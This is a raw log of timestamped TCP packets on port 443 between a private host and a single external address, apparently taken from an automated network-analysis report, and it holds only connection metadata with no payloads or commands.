Dec 13, 2024 08:34:57.611941099 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:57.611988068 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:57.730854988 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.092611074 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.092634916 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.092717886 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.092734098 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.092812061 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.092852116 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.092875957 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.093601942 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.093620062 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.093682051 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.093700886 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.093729973 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.093760967 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.094646931 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.094664097 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.094717026 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.094733953 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.094785929 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.095587969 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.095604897 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.095655918 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.095670938 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.095700026 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.095733881 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.096596956 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.096616030 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.096683025 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.096698046 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.096755981 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.097630024 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.097671032 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.097706079 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.097718954 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.097745895 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.097767115 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.098570108 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.098618031 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.098649979 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.098664045 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.098692894 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.098728895 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.099551916 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.099596024 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.099623919 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.099637985 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.099663973 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.099683046 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.100574970 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.100617886 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.100652933 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.100665092 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.100693941 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.100723028 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.102495909 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.102593899 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.102627039 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.102638960 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.102669954 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.102700949 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.103535891 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.103579044 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.103642941 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.103642941 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.103658915 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.103733063 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.104542971 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.104585886 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.104612112 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.104619980 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.104649067 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.104666948 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.105462074 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.105513096 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.105536938 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.105542898 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.105571985 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.105591059 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.106364012 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.106410980 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.106435061 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.106443882 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.106471062 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.106489897 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.107249975 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.107383966 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.107438087 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.107456923 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.107465029 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.107495070 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.107516050 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.108382940 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.108438969 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.108465910 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.108473063 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.108501911 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.108514071 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.117191076 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.117211103 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.117283106 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.117291927 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.117347002 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.122842073 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.122862101 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.122910023 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.122916937 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.122944117 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.122961998 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.128469944 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.128494978 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.128542900 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.128552914 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.128590107 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.128608942 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.134308100 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.134325027 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.134392977 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.134408951 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.134463072 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.139343977 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.139396906 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.139444113 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.139458895 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.139486074 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.139506102 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.144802094 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.144845009 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.144882917 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.144896030 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.144925117 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.144951105 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.150365114 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.150386095 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.150446892 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.150461912 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.150516033 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.215831041 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.215871096 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.215975046 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.216008902 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.216068983 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.247576952 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.309490919 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.309519053 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.309597969 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.309633017 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.309700966 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.312715054 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.312776089 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.312786102 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.318365097 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.318387032 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.318424940 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.318433046 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.318460941 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.323946953 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.323965073 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.324040890 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.324052095 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.328921080 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.328938007 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.328979969 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.328989029 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.329004049 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.334575891 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.334597111 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.334656000 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.334681034 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.334706068 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.340193033 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.340229034 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.340312958 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.340327978 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.345585108 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.345607996 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.345664978 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.345686913 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.345710039 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.387311935 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.388830900 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.388856888 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.388895035 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.388911009 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.388940096 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.388956070 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.492507935 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.504913092 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.504939079 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.505012989 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.505023956 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.505095005 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.510610104 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.510632038 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.510670900 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.510678053 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.510719061 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.516184092 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.516201973 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.516280890 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.516288996 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.516369104 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.521894932 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.521914005 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.521956921 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.521965981 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.522025108 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.527158976 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.527179003 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.527235985 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.527244091 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.527529955 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.532433987 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.532449961 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.532521963 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.532536983 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.532646894 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.537806988 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.537823915 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.537899971 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.537906885 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.537962914 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.581060886 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.581094980 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.581166983 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.581197977 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.581213951 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.581244946 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.697329998 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.697352886 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.697499037 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.697532892 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.697598934 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.702999115 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.703016043 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.703072071 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.703080893 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.703115940 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.708570004 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.708585978 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.708642006 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.708650112 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.708688974 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.714224100 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.714256048 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.714312077 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.714322090 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.714351892 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.719100952 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.719259024 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.719274998 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.719338894 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.719346046 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.719391108 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.724786997 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.724821091 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.724877119 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.724886894 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.724935055 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.724961042 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.730113983 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.730133057 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.730191946 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.730201006 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.730243921 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.774005890 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.774034023 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.774144888 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.774183989 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.774230957 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.916996956 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.917022943 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.917149067 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.917180061 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.917254925 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.921972036 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.921989918 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.922085047 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.922132969 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.922187090 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.927630901 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.927649021 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.927722931 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.927748919 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.927814960 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.933222055 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.933248043 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.933366060 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.933388948 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.933435917 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.938504934 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.938524961 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.938602924 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.938621044 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.938668013 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.938683033 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.944195986 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.944212914 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.944382906 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.944407940 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.944463968 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.949271917 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.949290991 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.949347019 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.949354887 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.949429035 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.954149961 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.966182947 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.966202021 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.966310024 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.966317892 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:58.966361046 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:58.978061914 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:59.109386921 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.109414101 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.109515905 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:59.109544992 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.109599113 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:59.114346027 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.114362955 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.114418983 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:59.114427090 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.114464998 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:59.114483118 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:59.120057106 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.120088100 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.120130062 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:59.120145082 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.120177984 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:59.120198965 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:59.125579119 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.125601053 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.125650883 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:59.125669003 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.125701904 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:59.125726938 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:59.130861998 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.130878925 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:59.130930901 CET	49707	443	192.168.2.5	185.199.111.133
